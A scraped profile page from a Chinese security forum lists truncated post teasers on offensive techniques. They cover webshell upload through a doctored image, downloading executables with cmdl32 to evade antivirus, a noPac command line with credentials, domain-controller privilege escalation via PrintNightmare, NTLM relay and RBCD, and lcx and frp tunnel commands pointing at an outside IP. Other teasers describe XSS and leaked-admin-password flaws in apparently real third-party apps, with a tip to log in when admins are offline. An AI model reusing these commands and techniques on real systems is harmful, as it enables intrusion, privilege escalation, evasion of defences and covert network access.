首页
社区首页
关于我们
隐私政策
用户协议
文章投稿
开通会员
开通黄金会员
全站资源折扣购买
部分内容免费阅读
一对一技术指导
VIP用户专属QQ群
开通黄金会员
开通特殊会员
无法购买
开通特殊会员
开通会员 尊享会员权益
登录
注册
找回密码
快速登录
首页
社区首页
关于我们
隐私政策
用户协议
开通会员 尊享会员权益
登录
注册
找回密码
快速登录
1.6W+
621
更多资料
搜索内容
root
7枚徽章
管理员
超级版主
这家伙很懒，什么都没有写...
关注
私信
文章
63
收藏
0
评论
0
版块
0
帖子
126
粉丝
0
发布
126
排序
最新发布
最近更新
最新回复
最多查看
最高评分
最多回复
最多收藏
root
5小时前发布
1次阅读
关注
私信
Shellの集合
①首先是弱口令进入后台正常jpg png图片能上传，选择一张jpg图片，改一下后缀格式，并在图片末端加上一句话木马，返回上传成功，...
+41
思路分享
评分
回复
分享
root
5小时前发布
1次阅读
关注
私信
使用cmdl32代替certutils
使用cmdl32代替certutils使用cmdl32代替certutils 用来远程下载exe，目前还未被查杀拦截(转自推特)原文：https://www.hexacorn.c...
思路分享
评分
回复
分享
root
5小时前发布
1次阅读
关注
私信
CVE-2021-42287/CVE-2021-4227 漏洞复现
1. 准备工作域控IP：192.168.6.52普通域用户：aaa普通域密码：Admin123***2.漏洞利用python noPac.py chinacycc.com/aaa:Admin12...
思路分享
评分
回复
分享
root
5小时前发布
1次阅读
关注
私信
CVE-2021-42287/CVE-2021-4227域控提权
CVE-2021-42287:Windows Server 2012 R2 (Server Core installation)Windows Server 2012 R2Windows Server 2012 (Server Core i...
+1
思路分享
评分
回复
分享
root
5小时前发布
1次阅读
关注
私信
CVE-2021-1675域控提权and本地提权
利用场景`1. 域控在 windows server2016 及以上版本拥有普通域成员账号拥有一个域控可以访问到的匿名共享（共享恶意dll，当漏洞...
+2
思路分享
评分
回复
分享
root
5小时前发布
1次阅读
关注
私信
利用Lcx进行内网单端口流量转发
内网执行lcx -slave 127.0.0.1:3389 远程地址:远程端口外网执行lcx -listen 6060 6061外网连接：127.0.0.1:6061 20251014134802866.zip下载zip文件2.7M
思路分享
评分
回复
分享
root
5小时前发布
1次阅读
关注
私信
Frp 无参数版本使用指南
反向代理公网执行：frps -p 9090开启监听 9090 端口内网执行：frpc.exe -f 9091 -p 9090 -t 103.52.153.194当建立连接后，成功则...
+4
思路分享
评分
回复
分享
root
5小时前发布
1次阅读
关注
私信
绕过MIC验证+中继拿域控权限
漏洞说明CVE-2019-1040漏洞的实质是NTLM数据包完整性校验存在缺陷，攻击者可以利用该漏洞绕过NTLM MIC（消息完整性检查），修改N...
+5
思路分享
评分
回复
分享
root
5小时前发布
1次阅读
关注
私信
资源约束性委派提权
资源约束性委派基于资源的约束性委派 (RBCD：Resource Based Constrained Delegation)：为了使用户/资源更加独立，微软在Windows...
+1
思路分享
评分
回复
分享
root
5小时前发布
1次阅读
关注
私信
全补丁下 AD – CS 证书服务攻击
介绍由于ADCS的http证书接口没有启用NTLM中继保护，因此其易受NTLM Relay攻击。而且Authorization HTTP 标头明确只允许通过 NTLM...
思路分享
评分
回复
分享
root
5小时前发布
1次阅读
关注
私信
某裸聊后台未授权访问漏洞+XSS漏洞
该裸聊APP前台接受数据存在XSSXSS漏洞POST /api/D302AD2E17B400B8E8CB91BE3B32F2CD HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 198
Host: 127.0.0.1:91
思路分享
评分
回复
分享
root
5小时前发布
1次阅读
关注
私信
某IM聊天接口泄露漏洞可获取管理员账户密码
前端登陆界面前端会员界面登陆之前，看看那些管理员在线，不在线再去登陆！！！另外还存在IP欺骗漏洞，先看看他们的登陆IP地址多...
思路分享
评分
回复
分享
加载更多
在手机上浏览此页面
登录
没有账号？立即注册
用户名或邮箱
登录密码
记住登录
找回密码
登录
社交账号登录
使用社交账号登录即表示同意
用户协议
、
隐私声明
注册
已有账号，立即登录
本站需使用邀请码注册或投稿注册
请联系客服购买邀请码或投稿文章等待审核通过后发放邀请码！
请填写邀请码
继续
设置用户名
邮箱
验证码
发送验证码
设置密码
注册
已阅读并同意
用户协议
、
隐私声明
扫码登录
使用
其它方式登录
或
注册
扫码登录
扫码登录即表示同意
用户协议
、
隐私声明
